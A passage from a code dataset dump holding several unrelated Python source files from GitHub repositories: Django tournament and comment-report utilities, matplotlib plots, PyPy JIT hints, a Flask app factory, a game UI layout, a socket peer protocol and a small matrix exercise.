match.team2_score - match.team1_score\n group_data = group_data.items()\n group_data = sorted(group_data, key=lambda item: (-item[1]['points'],\n -item[1]['goal_difference'],\n -item[1]['goals_scored']))\n return group_data\n\n\ndef set_result(self):\n if self.object.team1_score > self.object.team2_score:\n self.object.result = 1\n elif self.object.team1_score < self.object.team2_score:\n self.object.result = 2\n else:\n self.object.result = 0\n self.object.save()\n\n\ndef from_matches_to_finished(self, group_stage):\n group_stage.matches.remove(self.object)\n group_stage.matches_finished.add(self.object)\n\n\ndef set_phase_names(playoff):\n matches = playoff.matches.all()\n max_phase = matches.aggregate(Max('phase'))['phase__max']\n for match in matches:\n if match.phase == max_phase and match.order == 2:\n match.phase_name = 'Finał'\n elif match.phase == max_phase and match.order == 1:\n match.phase_name = 'Mecz o trzecie miejsce'\n elif match.phase == max_phase - 1:\n match.phase_name = 'Półfinał'\n elif match.phase == max_phase - 2:\n match.phase_name = 'Ćwierćfinał'\n elif match.phase == max_phase - 3:\n match.phase_name = '1/8 finału'\n elif match.phase == max_phase - 4:\n match.phase_name = '1/16 finału'\n elif match.phase == max_phase - 5:\n match.phase_name = '1/32 finału'\n elif match.phase == max_phase - 6:\n match.phase_name = '1/64 finału'\n else:\n match.phase_name = '1/128 finału'\n match.save()\n\n\ndef set_teams_for_final_phase(self, max_phase, playoff, winner, loser):\n matches = playoff.matches.filter(phase=max_phase)\n final = matches.get(order=2)\n mini_final = matches.get(order=1)\n if self.object.order == 1:\n final.team1 = winner\n final.save()\n mini_final.team1 = loser\n mini_final.save()\n else:\n final.team2 = winner\n final.save()\n mini_final.team2 = loser\n mini_final.save()\n\n\ndef move_to_next_phase(self, playoff, winner):\n matches = playoff.matches.filter(phase=self.object.phase + 1)\n if self.object.order % 2 == 0:\n match = matches.get(order=self.object.order // 2)\n match.team2 = winner\n match.save()\n else:\n match = matches.get(order=(self.object.order + 1) // 2)\n match.team1 = winner\n match.save()\n\n\ndef if_player_in_tournament(tournament, team):\n tournament_players = CustomUser.objects.filter(player__tournament=tournament)\n players = team.players.all()\n for player in players:\n if player in tournament_players:\n return True\n return False\n\n\ndef determine_winner_loser(self, score1, score2):\n if score1 == score2:\n return None, None\n elif score1 > score2:\n return self.object.team1, self.object.team2\n else:\n return self.object.team2, self.object.team1\n\n\ndef process_match_result(self, playoff, max_phase, team1_score, team2_score, response):\n winner, loser = determine_winner_loser(self, team1_score, team2_score)\n if winner is None and loser is None:\n return response\n if self.object.phase == max_phase - 1:\n set_teams_for_final_phase(self, max_phase, playoff, winner, loser)\n elif self.object.phase == max_phase:\n return response\n else:\n move_to_next_phase(self, playoff, winner)\n","repo_name":"DamianFilimowski/Tournament","sub_path":"tournament/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13134918182","text":"####################################### Descriptive Statistics Plots #######################################\n\n### packages ###\nimport matplotlib.pyplot as plt\n\n### Plots depicting rising income inequality in Germany ###\n\n# function for plotting labor cost percentage increase\ndef labor_cost_increase_plot(data):\n \"\"\"Generates a plot depicting the higher percentage increase of the financial sector,\n when compared with other sectors in the economy.\n\n Parameters:\n data(pandas.DataFrame): Data frame used to obtain the variables used for plotting.\n\n Returns:\n fig_labor_costs(matplotlib.figure): The figure object containing the generated plot.\n \"\"\"\n fig_labor_costs, ax = plt.subplots()\n for column, label in [\n (\"fin\", \"Finance\"),\n (\"pc\", \"Production and Construction\"),\n (\"peh\", \"Education and Health\"),\n (\"all\", \"All Sectors\"),\n ]:\n ax.plot(data[\"Year\"], data[column], label=label)\n ax.set(\n xlabel=\"Year\",\n ylabel=\"Percentage Increase\",\n title=\"Labor Cost Percentage Increase Across Sectors\",\n )\n ax.legend()\n return fig_labor_costs\n\n\n# function for plotting the increased number of foreign branches in Germany\ndef foreign_banks_increase_plot(data):\n \"\"\"Generates a plot depicting the increased presence of foreign banks in Germany.\n\n Parameters:\n data(pandas.DataFrame): Data frame containing the variable used to generate the plot.\n\n Returns:\n fig_foreign_banks(matplotlib.pyplot figure): Figure containing the generated plot.\n\n \"\"\"\n # choosing every third year for both variables\n years = data.loc[range(1, 120, 12), \"Year\"]\n banks = data.loc[range(1, 120, 12), \"fb_num\"]\n # empty figure object\n fig_foreign_banks = plt.figure()\n # number of foreign branches in Germany plot\n plt.bar(years, banks)\n plt.xlabel(\"Year\")\n plt.ylabel(\"Number of Foreign Branches\")\n plt.title(\"Number of Foreign Branches in Germany\")\n return fig_foreign_banks\n\n\n### Plots depicting bi-variate relationships between outcome and explanatory variables ###\n\n# function showing the bi-variate relationship between financial development and labor cost percentage increase differences\ndef gen_scatter_plots(data):\n \"\"\"Generates multiple scatter plots depicting the bi-variate relationship between financial development\n and income inequality, using several variables.\n\n Parameters:\n df(pandas.DataFrame): Data frame which contains the variables used for generating the plots.\n\n Returns:\n fig_scatter_plots (list): List of figures containing the scatter plots amongst selected variables.\n \"\"\"\n # defining the variables used for the scatter plots\n x_variables = [\"fin_dev_all\", \"fin_dev_db\", \"fin_dev_fb\"]\n y_variables = [\"fin_diff_all\", \"fin_diff_pc\", \"fin_diff_peh\"]\n\n # empty list to store figures\n fig_scatter_plots = []\n\n # scatter plots\n # creating a nested loop to create all possible combinations\n for _i, x_var in enumerate(x_variables):\n for _j, y_var in enumerate(y_variables):\n # creating a new figure for each plot\n fig = plt.figure()\n # defining which variables to be plotted\n plt.scatter(data[x_var], data[y_var], color=\"blue\")\n # labeling\n plt.xlabel(f\"Indicator of Financial Development ({x_var})\", color=\"darkred\")\n plt.ylabel(f\"Indicator of Income Inequality ({y_var})\", color=\"darkred\")\n plt.title(f\"Bivariate Relationship between {x_var} and {y_var}\")\n # adding the figure to the list\n fig_scatter_plots.append(fig)\n\n return fig_scatter_plots\n","repo_name":"Rizvanski/final_project_income_inequality","sub_path":"src/financial_development_and_income_inequality/final/descriptive_statistics_plots.py","file_name":"descriptive_statistics_plots.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1016825952","text":"from Menu import menu_opcoes\n\ndef PessoaFisica():\n print(': Formulario Cadastro Pessoa Fisica :\\n')\n nm_cliente = input('Primeiro nome: ')\n sn_cliente = input('Sobrenome: ')\n cpf = input('CPF: ')\n contato = input('Telefone: ')\n e_mail = input('E-mail: ')\n \n #n = People_Fisica.PessoaFisica(nome_cliente=nm_cliente, sbn_cliente=sn_cliente)\n","repo_name":"FabioAleluia/MeuSysDeCadastro_v1.0","sub_path":"Formulario/Form_Fisica.py","file_name":"Form_Fisica.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31567026990","text":"from pypy.rpython.extregistry import ExtRegistryEntry\nfrom pypy.rlib.objectmodel import CDefinedIntSymbolic\n\ndef purefunction(func):\n func._pure_function_ = True\n return func\n\ndef hint(x, **kwds):\n return x\n\nclass Entry(ExtRegistryEntry):\n _about_ = hint\n\n def compute_result_annotation(self, s_x, **kwds_s):\n from pypy.annotation import model as annmodel\n s_x = annmodel.not_const(s_x)\n if 's_access_directly' in kwds_s:\n if isinstance(s_x, annmodel.SomeInstance):\n from pypy.objspace.flow.model import Constant\n classdesc = s_x.classdef.classdesc\n virtualizable = classdesc.read_attribute('_virtualizable_',\n Constant(False)).value\n if virtualizable:\n flags = s_x.flags.copy()\n flags['access_directly'] = True\n s_x = annmodel.SomeInstance(s_x.classdef,\n s_x.can_be_None,\n flags)\n return s_x\n\n def specialize_call(self, hop, **kwds_i):\n from pypy.rpython.lltypesystem import lltype\n hints = {}\n for key, index in kwds_i.items():\n s_value = hop.args_s[index]\n if not s_value.is_constant():\n from pypy.rpython.error import TyperError\n raise TyperError(\"hint %r is not constant\" % (key,))\n assert key.startswith('i_')\n hints[key[2:]] = s_value.const\n v = hop.inputarg(hop.args_r[0], arg=0)\n c_hint = hop.inputconst(lltype.Void, hints)\n hop.exception_cannot_occur()\n return hop.genop('hint', [v, c_hint], resulttype=v.concretetype)\n\n\ndef we_are_jitted():\n return False\n# timeshifts to True\n\n_we_are_jitted = CDefinedIntSymbolic('0 /* we are not jitted here */',\n default=0)\n\nclass Entry(ExtRegistryEntry):\n _about_ = we_are_jitted\n\n def compute_result_annotation(self):\n from pypy.annotation import model as annmodel\n return annmodel.SomeInteger(nonneg=True)\n\n def specialize_call(self, hop):\n from pypy.rpython.lltypesystem import lltype\n return hop.inputconst(lltype.Signed, _we_are_jitted)\n\ndef _is_early_constant(x):\n return False\n\nclass Entry(ExtRegistryEntry):\n _about_ = _is_early_constant\n\n def compute_result_annotation(self, s_value):\n from pypy.annotation import model as annmodel\n s = annmodel.SomeBool()\n if s_value.is_constant():\n s.const = True\n return s\n\n def specialize_call(self, hop):\n from pypy.rpython.lltypesystem import lltype\n if hop.s_result.is_constant():\n assert hop.s_result.const\n return hop.inputconst(lltype.Bool, True)\n v, = hop.inputargs(hop.args_r[0])\n return hop.genop('is_early_constant', [v], resulttype=lltype.Bool)\n\n\n\n","repo_name":"camillobruni/pygirl","sub_path":"pypy/rlib/jit.py","file_name":"jit.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"} +{"seq_id":"70940911441","text":"from django.conf import settings\nfrom django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nfrom . import views\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'sensoredweb.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\turl(r\"^$\", views.HomepageView.as_view(), name=\"home\"), \n\turl(r'^admin/', include(admin.site.urls)),\n url(r\"^about/\", views.AboutView.as_view(), name=\"about\"),\n url(r\"^debug/\", views.DebugView.as_view(), name=\"debug\"),\n url(r\"^insteon/\", views.InsteonView.as_view(), name=\"insteon\"),\n url(r\"^cmd/$\", views.cmd_handler, name=\"cmd\"),\n (r'^sensordata/', include('sensordata.urls', namespace=\"sensordata\")),\n\n \n)\n\nurlpatterns += patterns('',\n url(r'^api-auth/', include('rest_framework.urls',\n namespace='rest_framework')),\n)\n\n# Add static server if required\nurlpatterns += patterns('',\n (r'^static/(.*)$', 'django.views.static.serve', {\n 'document_root': settings.STATIC_ROOT\n }),\n)","repo_name":"borand/sensoredweb","sub_path":"sensoredweb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"37659591766","text":"from flask import Flask, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bcrypt import Bcrypt\nfrom flask_login import LoginManager\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\nfrom .config import Config\n\ndb = SQLAlchemy()\nbcrypt = Bcrypt()\nlogin_manager = LoginManager()\n\ndef seed():\n from .models.user import MatriculaProfessor\n matriculas = [\"999999999\", \"888888888\", \"777777777\"]\n\n for matricula in matriculas:\n matricula_exist = MatriculaProfessor.query.filter_by(matricula=matricula).first()\n if not matricula_exist:\n professor = MatriculaProfessor(matricula=matricula)\n db.session.add(professor)\n\n db.session.commit()\n\n\ndef create_app():\n app = Flask(__name__)\n app.config.from_object(Config)\n\n from .models.exame import fechar_testes, abrir_testes\n \n scheduler = BackgroundScheduler()\n scheduler.add_job(func=fechar_testes, trigger=\"interval\", minutes=1)\n scheduler.add_job(func=abrir_testes, trigger=\"interval\", minutes=1)\n scheduler.start()\n\n db.init_app(app)\n bcrypt.init_app(app)\n login_manager.init_app(app)\n\n with app.app_context():\n db.create_all()\n seed()\n\n from .controllers import blueprints\n\n for bp in blueprints():\n app.register_blueprint(bp, url_prefix=f\"/{bp.name}\")\n \n return app \n\n\napp = create_app()\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return redirect(url_for(\"auth.login\"))\n","repo_name":"GuilhermeGonSoares/eng-soft-proj-final","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21444855422","text":"import uiScriptLocale\nimport app\nimport apollo_interface\nROOT = \"d:/ymir work/ui/game/\"\nBASE = apollo_interface.PATCH_SPECIAL + \"/taskbar/\"\n\nY_ADD_POSITION = 0\n\nwindow = {\n\t\"name\" : \"TaskBar\",\n\n\t\"x\" : 0,\n\t\"y\" : SCREEN_HEIGHT - 48,\n\n\t\"width\" : SCREEN_WIDTH,\n\t\"height\" : 158,\n\n\t\"children\" :\n\t(\n\n\t\t## Board\n\t\t{\n\t\t\t\"name\" : \"Base_Board_01\",\n\t\t\t\"type\" : \"expanded_image\",\n\n\t\t\t\"x\" : (SCREEN_WIDTH-594)/2,\n\t\t\t\"y\" : -7,\n\n\t\t\t\"image\" : BASE+\"bg.png\"\n\t\t},\n\t\t{\n\t\t\t\"name\" : \"LeftMouseButton\",\n\t\t\t\"type\" : \"button\",\n\n\t\t\t\"x\" : (SCREEN_WIDTH/2)-230-15+15+3,\n\t\t\t\"y\" :123-110,\n\n\t\t\t\"default_image\" : BASE + \"btn_attacknormal_01_normal.png\",\n\t\t\t\"over_image\" : BASE + \"btn_attacknormal_02_hover.png\",\n\t\t\t\"down_image\" : BASE + \"btn_attacknormal_03_active.png\",\n\t\t},\n\t\t{\n\t\t\t\"name\" : \"RightMouseButton\",\n\t\t\t\"type\" : \"button\",\n\n\t\t\t\"x\" : SCREEN_WIDTH/2 + 128 + 66 + +10+5,\n\t\t\t\"y\" : 183-110,\n\n\t\t\t\"default_image\" : BASE + \"btn_camera_01_normal.png\",\n\t\t\t\"over_image\" : BASE + \"btn_camera_02_hover.png\",\n\t\t\t\"down_image\" : BASE + \"btn_camera_03_active.png\",\n\t\t},\n\t\t## QuickBar\n\t\t{\n\t\t\t\"name\" : \"quickslot_board\",\n\t\t\t\"type\" : \"window\",\n\n\t\t\t\"x\" : SCREEN_WIDTH/2 - 128 + 32 + 10-120+18,\n\t\t\t\"y\" : 115-110,\n\n\t\t\t\"width\" : 256 + 14 + 2 + 11+100+10,\n\t\t\t\"height\" : 37,\n\n\t\t\t\"children\" :\n\t\t\t(\n\t\t\t\t{\n\n\t\t\t\t\t\"name\" : \"ExpandButton\",\n\t\t\t\t\t\"type\" : \"button\",\n\n\t\t\t\t\t\"x\" : 128+45+4,\n\t\t\t\t\t\"y\" : 13,\n\t\t\t\t\t\"tooltip_text\" : \"Chat\",\n\n\n\t\t\t\t\t\"default_image\" : BASE + \"btn_chat_01_normal.png\",\n\t\t\t\t\t\"over_image\" : BASE + \"btn_chat_02_hover.png\",\n\t\t\t\t\t\"down_image\" : BASE + \"btn_chat_03_active.png\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"name\" : \"quick_slot_1\",\n\t\t\t\t\t\"type\" : \"grid_table\",\n\n\t\t\t\t\t\"start_index\" : 0,\n\n\t\t\t\t\t\"x\" : 0,\n\t\t\t\t\t\"y\" : 3,\n\n\t\t\t\t\t\"x_count\" : 4,\n\t\t\t\t\t\"y_count\" : 1,\n\t\t\t\t\t\"x_step\" : 32,\n\t\t\t\t\t\"y_step\" : 32,\n\t\t\t\t\t\"x_blank\" : 10,\n\n\t\t\t\t\t\"image_r\" : 1.0,\n\t\t\t\t\t\"image_g\" : 1.0,\n\t\t\t\t\t\"image_b\" : 1.0,\n\t\t\t\t\t\"image_a\" : 1.0,\n\n\t\t\t\t\t\"children\" :\n\t\t\t\t\t(\n\t\t\t\t\t\t{ \"name\" : \"slot_1\", \"type\" : \"image\", \"x\" : 3, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/1.sub\", },\n\t\t\t\t\t\t{ \"name\" : \"slot_2\", \"type\" : \"image\", \"x\" : 35+10, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/2.sub\", },\n\t\t\t\t\t\t{ \"name\" : \"slot_3\", \"type\" : \"image\", \"x\" : 67+20, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/3.sub\", },\n\t\t\t\t\t\t{ \"name\" : \"slot_4\", \"type\" : \"image\", \"x\" : 99+30, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/4.sub\", },\n\t\t\t\t\t),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"name\" : \"quick_slot_2\",\n\t\t\t\t\t\"type\" : \"grid_table\",\n\n\t\t\t\t\t\"start_index\" : 4,\n\n\t\t\t\t\t\"x\" : 128 + 14+60+17+1,\n\t\t\t\t\t\"y\" : 3,\n\n\t\t\t\t\t\"x_count\" : 4,\n\t\t\t\t\t\"y_count\" : 1,\n\t\t\t\t\t\"x_step\" : 32,\n\t\t\t\t\t\"y_step\" : 32,\n\t\t\t\t\t\"x_blank\" : 10,\n\n\t\t\t\t\t# \"image\" : \"d:/ymir work/ui/slot.png\",\n\t\t\t\t\t\"image_r\" : 1.0,\n\t\t\t\t\t\"image_g\" : 1.0,\n\t\t\t\t\t\"image_b\" : 1.0,\n\t\t\t\t\t\"image_a\" : 1.0,\n\n\t\t\t\t\t\"children\" :\n\t\t\t\t\t(\n\t\t\t\t\t\t{ \"name\" : \"slot_5\", \"type\" : \"image\", \"x\" : 3, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/f1.sub\", },\n\t\t\t\t\t\t{ \"name\" : \"slot_6\", \"type\" : \"image\", \"x\" : 35+10, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/f2.sub\", },\n\t\t\t\t\t\t{ \"name\" : \"slot_7\", \"type\" : \"image\", \"x\" : 67+22, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/f3.sub\", },\n\t\t\t\t\t\t{ \"name\" : \"slot_8\", \"type\" : \"image\", \"x\" : 99+32, \"y\" : 3, \"image\" : \"d:/ymir work/ui/game/taskbar/f4.sub\", },\n\t\t\t\t\t),\n\t\t\t\t},\n\t\t\t\t\n\t\t\t),\n\t\t},\n\t\t{\n\n\t\t\t\"name\" : \"ButtonPageSlots\",\n\t\t\t\"type\" : \"button\",\n\n\t\t\t\"x\" : SCREEN_WIDTH/2 - 128 + 32 + 10-120+18+397,\n\t\t\t\"y\" : 13,\t\t\t\t\t\n\t\t\t\n\t\t\t\"default_image\" : BASE + \"btn_slotpageone_01_normal.png\",\n\t\t\t\"over_image\" :BASE + \"btn_slotpageone_02_hover.png\",\n\t\t\t\"down_image\" : BASE + \"btn_slotpageone_03_active.png\",\n\n\t\t},\n\t),\n}\n","repo_name":"mikyqwe/OLD_Emeria-unpacked-clientt","sub_path":"root/apollo_scripts/taskbar.py","file_name":"taskbar.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70199806481","text":"import server, parser, time, select\nfrom threading import Lock, Thread\nfrom dataclasses import dataclass, field\nfrom generic import Logging\nfrom socket import socket\n\n\nHULL_NUMBER = 888\nHULL_NUMBER_CLI = 888\n\n\n@dataclass\nclass Context:\n\tconnection: socket\n\taddress: tuple\n\n\tdef get_host_port(self):\n\t\treturn self.connection.getsockname()[1]\n\n\tdef get_host_ip(self):\n\t\treturn self.connection.getsockname()[0]\n\n\nclass Handle:\n\n\tdef on_iter(self, time_delta_sec):\n\t\tpass\n\n\tdef on_register(self, port, hull_number):\n\t\tpass\n\n\tdef on_self(self, hull_number):\n\t\tpass\n\n\tdef on_connection(self, ip, port, hull_number):\n\t\tpass\n\n\tdef on_keepalive(self):\n\t\tpass\n\n\tdef on_data(self, data: str):\n\t\tpass\n\n\n@dataclass\nclass State(Handle):\n\n\t@dataclass\n\tclass Peer:\n\t\taddress: tuple\n\t\thull_number: int\n\n\tpeers: dict = field(default_factory=dict)\n\tlock: Lock = field(default_factory=Lock)\n\n\tdef update_peer(self, ip, port, hull_number):\n\t\tself.peers[hull_number] = State.Peer((ip, port,), hull_number)\n\n\nclass Cli:\n\n\t__cli = []\n\n\t@staticmethod\n\tdef call(*args):\n\t\tfor c in Cli.__cli:\n\t\t\tc.on_cli(*args)\n\n\tdef __init__(self):\n\t\tCli.__cli.append(self)\n\n\tdef on_cli(self, *args):\n\t\traise NotImplemented\n\n\nclass PeriodTrigger:\n\n\tdef __init__(self, process_sequence, timeout_sec=3):\n\t\t# Timer thread\n\t\tself.process_sequence = process_sequence\n\t\tself.time_run = True\n\t\tself.time_prev = time.time()\n\t\tself.time_period_sec = timeout_sec\n\t\tself.time_thread = Thread(target=self._timer)\n\n\tdef stop(self):\n\t\tself.time_run = False\n\t\tself.time_thread.join()\n\n\tdef __del__(self):\n\t\tself.stop()\n\n\tdef start(self):\n\t\tself.time_run = True\n\t\tself.time_thread.start()\n\n\tdef _timer(self):\n\t\twhile self.time_run:\n\t\t\ttime.sleep(self.time_period_sec)\n\t\t\tnow = time.time()\n\t\t\tfor h in self.process_sequence:\n\t\t\t\th.on_iter(now - self.time_prev)\n\n\t\t\tself.time_prev = now\n\n\n@dataclass\nclass LogHandle(Handle):\n\tcontext: Context\n\n\tdef __post_init__(self):\n\t\tHandle.__init__(self)\n\n\tdef _log(self, *args):\n\t\tLogging.info(*args, \"context\", self.context.address)\n\n\tdef on_register(self, port, hull):\n\t\tself._log(LogHandle, LogHandle.on_register, \"port\", port, \"hull\", hull)\n\n\tdef on_self(self, hull_number):\n\t\tself._log(LogHandle, LogHandle.on_self, \"hull\", hull_number)\n\n\tdef on_connection(self, ip, port, hull_number):\n\t\tself._log(LogHandle, LogHandle.on_connection, \"ip\", ip, \"port\", port, \"hull\", hull_number)\n\n\tdef on_keepalive(self):\n\t\tself._log(LogHandle, LogHandle.on_keepalive)\n\n\tdef on_data(self, data: str):\n\t\tself._log(LogHandle, LogHandle.on_data, f'\"{data}\"')\n\n\n@dataclass\nclass RegisterHandle(Handle):\n\tstate: State\n\tcontext: Context\n\n\tdef on_register(self, port, hull_number):\n\t\tLogging.info(__file__, RegisterHandle, \"new client\", \"ip\", self.context.address[0], \"port\", port, \"hull\",\n\t\t\thull_number)\n\t\tself.state.update_peer(self.context.address[0], port, hull_number)\n\t\tself.context.connection.sendall(parser.marshalling(\"self\", HULL_NUMBER))\n\n\t\tfor peer in self.state.peers.values():\n\t\t\tif peer.address == self.context.address:\n\t\t\t\tcontinue\n\n\t\t\tLogging.info(__file__, RegisterHandle, \"sending connection\", \"address\", peer.address, \"hull\", peer.hull_number)\n\t\t\tself.context.connection.sendall(parser.marshalling(\"connection\", *peer.address, peer.hull_number))\n\n\n@dataclass\nclass FakeConnHandle(Handle):\n\tstate: State\n\tcontext: Context\n\n\tdef on_register(self, port, hull_number):\n\t\tLogging.info(__file__, FakeConnHandle, \"new client\", \"ip\", self.context.address[0], \"port\", port, \"hull\", hull_number)\n\t\tself.state.update_peer(self.context.address[0], port, hull_number)\n\t\tself.context.connection.sendall(parser.marshalling(\"self\", HULL_NUMBER))\n\n\t\tfor i in range(1, 9):\n\t\t\ttime.sleep(.2)\n\t\t\thull = int(str(i) * 3) # 1 -> 111, 2 -> 222...\n\t\t\tLogging.info(__file__, FakeConnHandle, \"sending fake connection\", \"hull\", hull)\n\t\t\tself.context.connection.sendall(parser.marshalling(\"connection\", *self.context.address, hull))\n\n\n@dataclass\nclass RegisterCli(Cli):\n\tcontext: Context\n\n\tdef __post_init__(self):\n\t\tCli.__init__(self)\n\n\tdef on_cli(self, *args):\n\t\tif args[0] == \"register\":\n\t\t\tLogging.info(__file__, RegisterCli, \"sending regsiter\")\n\t\t\tself.context.connection.sendall(parser.marshalling(\"register\", 8889, HULL_NUMBER_CLI))\n\n\n@dataclass\nclass EchoCli(Cli):\n\tcontext: Context\n\n\tdef __post_init__(self):\n\t\tCli.__init__(self)\n\n\tdef on_cli(self, *args):\n\t\tif args[0] == \"echo\" and len(args) > 1:\n\t\t\tLogging.info(__file__, EchoCli, \"sending echo\", args)\n\t\t\tself.context.connection.sendall(parser.marshalling(\"data\", \" \".join(args[1:])))\n\t\telif args[0] == \"multiecho\":\n\t\t\tLogging.info(__file__, EchoCli, \"sending multiecho\", args)\n\t\t\ttry:\n\t\t\t\tn = int(args[1])\n\t\t\texcept:\n\t\t\t\tpass\n\n\t\t\tfor i in range(n):\n\t\t\t\tself.context.connection.sendall(parser.marshalling(\"data\", \" \".join(args[2:])))\n\n\n@dataclass\nclass Proto:\n\tstate: State\n\tcontext: Context\n\n\tdef __post_init__(self):\n\t\tself.process_sequence = [\n\t\t\tself.state,\n\t\t\tLogHandle(self.context),\n\t\t\tRegisterHandle(self.state, self.context),\n\t\t]\n\t\tself.cli = [\n\t\t\tEchoCli(self.context),\n\t\t\tRegisterCli(self.context),\n\t\t]\n\n\tdef _process_received(self, data):\n\t\tassert(len(data))\n\t\tparsed = parser.unmarshalling(data)\n\n\t\tif parsed is not None:\n\t\t\tfor h in self.process_sequence:\n\t\t\t\t{\n\t\t\t\t\t\"register\": h.on_register,\n\t\t\t\t\t\"self\": h.on_self,\n\t\t\t\t\t\"connection\": h.on_connection,\n\t\t\t\t\t\"keepalive\": h.on_keepalive,\n\t\t\t\t\t\"data\": h.on_data,\n\t\t\t\t}[parsed[0]](*parsed[1:])\n\n\tdef _iter(self):\n\t\tdata = self.context.connection.recv(128)\n\n\t\tif not len(data):\n\t\t\treturn False\n\n\t\tself._process_received(data)\n\n\t\treturn True\n\n\tdef run(self):\n\t\tLogging.info(Proto, Proto.run, \"serving\", self.context)\n\n\t\twhile self._iter():\n\t\t\tpass\n\n\t\tLogging.info(Proto, Proto.run, \"finished serving\", self.context)\n\n\nclass _Detail:\n\tstate = State()\n\n\ndef tcp_handle(conn, addr):\n\tproto = Proto(state=_Detail.state, context=Context(connection=conn, address=addr))\n\tproto.run()\n\n\ndef cli(*args):\n\tCli.call(*args)\n","repo_name":"damurashov/TrikTest","sub_path":"trik.py","file_name":"trik.py","file_ext":"py","file_size_in_byte":5890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35319687120","text":"def fill_a_matrix(size):\n matrix = []\n for _ in range(size):\n matrix.append([x for x in input().split()])\n return matrix\n\n\n(rows_count, columns_count) = [int(x) for x in input().split()]\nmatrix = fill_a_matrix(rows_count)\n\nbest_sum = -99999999\nbest_matrix = []\nfor row in range(rows_count - 2):\n for col in range(columns_count - 2):\n sub_matrix = []\n sum = 0\n row_counter = 0\n for r in range(row, row + 3):\n sub_matrix.append([])\n for c in range(col, col + 3):\n sub_matrix[row_counter].append(matrix[r][c])\n sum += int(matrix[r][c])\n row_counter += 1\n if best_sum < sum:\n best_sum = sum\n best_matrix = sub_matrix\n\nprint(f\"Sum = {best_sum}\")\nfor row in best_matrix:\n print(' '.join([str(x) for x in row]))\n","repo_name":"stefistoeva/Python-Advanced","sub_path":"03.MULTIDIMENSIONAL LISTS/MULTIDIMENSIONAL LISTS - Exercise/03.Maximal Sum.py","file_name":"03.Maximal Sum.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19784138262","text":"from datetime import timedelta, datetime\n\nfrom django.contrib.auth.models import User\nfrom django.db.models import Count\n\nfrom exmo2010.models import Organization, Score, Task\n\n\ndef comment_report(monitoring):\n \"\"\"\n Вернет словарь с основной статистикой по комментариям.\n\n \"\"\"\n from custom_comments.models import CommentExmo\n\n result = {}\n comments_without_reply = []\n fail_comments_without_reply = []\n fail_soon_comments_without_reply = []\n fail_comments_with_reply = []\n active_organization_stats = []\n total_org = Organization.objects.filter(monitoring=monitoring)\n reg_org = total_org.filter(userprofile__isnull=False)\n start_date = monitoring.interact_date\n end_date = datetime.today()\n time_to_answer = monitoring.time_to_answer\n\n scores = Score.objects.filter(\n task__organization__monitoring=monitoring)\n\n iifd_all_comments = CommentExmo.objects.filter(\n content_type__model='score',\n object_pk__in=scores,\n user__in=User.objects.exclude(\n groups__name='organizations')).order_by('submit_date')\n\n org_all_comments = CommentExmo.objects.filter(\n content_type__model='score',\n object_pk__in=scores,\n user__in=User.objects.filter(\n groups__name='organizations')).order_by('submit_date')\n\n org_comments = org_all_comments.filter(\n status=CommentExmo.OPEN\n )\n\n comments_with_reply = org_all_comments.filter(\n status=CommentExmo.ANSWERED\n )\n\n active_organizations = set([Score.objects.get(\n pk=oco.object_pk).task.organization for oco in org_all_comments])\n for active_organization in active_organizations:\n active_org_comments_count = org_all_comments.filter(\n object_pk__in=scores.filter(\n task__organization=active_organization)).count()\n try:\n task = Task.approved_tasks.get(organization=active_organization)\n except Task.DoesNotExist:\n task = None\n active_organization_stats.append(\n {'org': active_organization,\n 'comments_count': active_org_comments_count,\n 'task': task})\n\n active_iifd_person_stats = User.objects.filter(\n comment_comments__pk__in=iifd_all_comments).annotate(\n comments_count=Count('comment_comments'))\n\n for org_comment in org_comments:\n from core.utils import workday_count\n delta = timedelta(days=1)\n #check time_to_answer\n if workday_count(org_comment.submit_date.date() + delta,\n end_date) == time_to_answer:\n fail_soon_comments_without_reply.append(org_comment)\n elif workday_count(org_comment.submit_date.date() + delta,\n end_date) > time_to_answer:\n fail_comments_without_reply.append(org_comment)\n else:\n comments_without_reply.append(org_comment)\n\n #комментарии без ответа\n result['comments_without_reply'] = comments_without_reply\n #просроченные комментарии без ответа\n result['fail_comments_without_reply'] = fail_comments_without_reply\n #комментарии с ответом\n result['comments_with_reply'] = comments_with_reply\n #комментарии без ответа; срок ответа истечет в течении суток\n result['fail_soon_comments_without_reply'] = fail_soon_comments_without_reply\n #комментарии с ответом, но ответ был позже срока\n 